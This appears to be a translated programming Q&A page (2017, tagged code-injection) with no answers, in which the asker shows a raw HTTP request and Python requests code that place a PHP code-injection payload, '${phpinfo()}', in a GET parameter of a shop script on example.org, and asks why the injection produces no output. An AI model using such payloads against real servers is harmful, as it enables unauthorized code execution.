使用POST请求嵌入GET请求

时间:2017-07-29 17:58:22

标签: php python python-requests code-injection

这是我需要用Python做的请求:

POST /do.php?shop_action=buy&action=${phpinfo()} HTTP/1.1
Host: example.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://example.org/do.php?action=shop&shop_action=view&iid=17
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

iid=17&postcode=1&buy=Buy

这是我尝试过的:

import requests

session = requests.Session()

paramsGet = {"action":"\x24{phpinfo()}","shop_action":"buy"}
paramsPost = {"postcode":"1","iid":"17","buy":"Buy"}
headers = {"Accept":"*/*","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Connection":"close","Referer":"http://example.org/do.php?action=shop&shop_action=view&iid=17","Accept-Language":"en","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://example.org/do.php", data=paramsPost, params=paramsGet, headers=headers)

print("Response body: %s" % response.content)

但它没有输出我想要的(PHP信息)。为什么呢?

0 个答案:

没有答案